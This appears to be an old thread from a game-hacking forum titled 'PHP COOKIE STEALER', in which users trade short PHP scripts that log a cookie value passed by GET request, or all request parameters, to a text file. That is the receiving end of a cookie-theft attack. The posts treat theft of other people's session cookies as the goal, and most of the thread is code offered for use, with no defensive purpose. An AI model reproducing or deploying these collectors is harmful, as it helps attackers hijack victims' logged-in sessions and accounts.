Skip to content
MPGHThe Dark Arts
/
RegisterLog in
Forum
Community
What's NewLatest posts across the boardTrendingHottest threads right nowSubscribedThreads you follow
Discussion
GeneralIntroductionsEntertainmentDebate FortFlaming & Rage
Board
News & AnnouncementsMPGH TimesSuggestions & HelpGiveaways
More Sections
Art & Graphic DesignProgrammingHackingCryptocurrency
Hacks & Cheats
Games
ValorantCS2 / CS:GOCall of Duty / WarzoneFortniteApex LegendsEscape From Tarkov
+14 moreLeague of LegendsGTA VMinecraftRustROTMGBattlefieldTroveBattleOnCombat ArmsCrossFireBlackshotRuneScapeDayZDead by Daylight
Resources
Game Hacking TutorialsReverse EngineeringGeneral Game HackingAnti-CheatConsole Game Hacking
Tools
Game Hacking ToolsTrainers & CheatsHack/Release NewsNew
Submit a release →Share your cheat, tool, or config with the community.
AINEW
AI Tools
General & DiscussionPrompt EngineeringLLM JailbreaksHotAI Agents & AutomationLocal / Open Models
AI × Gaming
AI Aimbots & VisionML Anti-CheatGame Bots & Automation
Create
AI Coding / Vibe CodingAI Art & MediaAI Voice & TTS
The AI frontier →Where game hacking meets modern machine learning. Jump in.
Marketplace
Buy & Sell
SellingBuyingTradingUser Services
Trust & Safety
Middleman LoungeMarketplace TalkVouch Copy Profiles
Money
Cryptocurrency TalkCurrency ExchangeWork & Job Offers
Start selling →List accounts, services, and goods. Use the middleman to trade safe.
MPGH The Dark Arts

A community for offensive security research, reverse engineering, and AI.

Community

ForumMarketplaceSearch

Account

RegisterLog in

Legal

Privacy PolicyForum RulesHelp & FAQ
© 2026 MPGH · All rights reserved.Built by the community, for the community. For educational purposes onlyContent is shared for security research and education — we don't condone illegal use. You're responsible for complying with applicable laws. Use at your own risk.
Home › Forum › Programming › Other Programming › PHP Programming › PHP COOKIE STEALER

PHP COOKIE STEALER

Posts 1–7 of 7 · Page 1 of 1
KI
kibbles18
PHP COOKIE STEALER
YUMM I LUV C0OKEIES
I cant get it to work.
How do i access it?
code:
Code:
<?php
$cookie = $HTTP_GET_VARS["cookie"];
chmod("log.txt", 777);
$log = fopen('log.txt', 'a');
fwrite($log, $cookie . "\n\n");
fclose($log);
?>
#1 · 15y ago
Jason
Jason
cookies have their own superglobal:

[highlight=php]
//simplest version:
file_put_contents("log.txt", print_r($_COOKIE, true));

//more control
$cookieFile = fopen("log.txt", "wb");
if ( $cookieFile )
{
foreach($_COOKIE as $k => $v)
fwrite($cookieFile, "$k => $v\n");
}
@fclose($cookieFile);
[/highlight]

@kibbles18
#2 · 15y ago
Paul
Paul
Quote Originally Posted by Jason View Post
cookies have their own superglobal:

[highlight=php]
//simplest version:
file_put_contents("log.txt", print_r($_COOKIE, true));

//more control
$cookieFile = fopen("log.txt", "wb");
if ( $cookieFile )
{
foreach($_COOKIE as $k => $v)
fwrite($cookieFile, "$k => $v\n");
}
@fclose($cookieFile);
[/highlight]

@kibbles18
wont this make your site suspicious`?
#3 · 15y ago
Jason
Jason
Quote Originally Posted by Paul View Post


wont this make your site suspicious`?
Just answering the question. Also, logging your own cookies onto your own server isn't really suspicious.
#4 · 15y ago
Paul
Paul
Quote Originally Posted by Jason View Post


Just answering the question. Also, logging your own cookies onto your own server isn't really suspicious.
one of my site was suspicious for no reason

some codes aren't exactly the best ones ^^
#5 · 15y ago
SP
spapia00
this is cool
#6 · 14y ago
[PS]W3bster
[PS]W3bster
<?php
if(!isset($_GET['view']) && count($_GET) !== 0)
{
$variables = array_keys($_GET);
$values = array_values($_GET);
for($i=0;$i<count($_GET);$i++)
{
$checkFirst = ($i==0)?"":" = ";
$checkLast = ($i==count($_GET))?"<br><hr><br>\n":"<br>";
file_put_contents(substr($_SERVER['SCRIPT_NAME'], strpos($_SERVER['SCRIPT_NAME'], '/')+1), htmlentities($variables[$i].$checkFirst.$values[$i]).$checkLast, FILE_APPEND);
}
die();
}
#7 · 14y ago
Posts 1–7 of 7 · Page 1 of 1

Post a Reply

Similar Threads

  • CookiesBy Severed in Spammers Corner
    7Last post 19y ago
  • Cookies 4 EveryoneBy AthlaS in Spammers Corner
    18Last post 19y ago
  • real rapidshare stealerBy llvengancell in WarRock - International Hacks
    4Last post 19y ago
  • cookie stealingBy ace76543 in Game Hacking Tutorials
    6Last post 20y ago
  • Process_promocode.php[code]By ferrar1000 in WarRock - International Hacks
    22Last post 18y ago

Tags for this Thread

None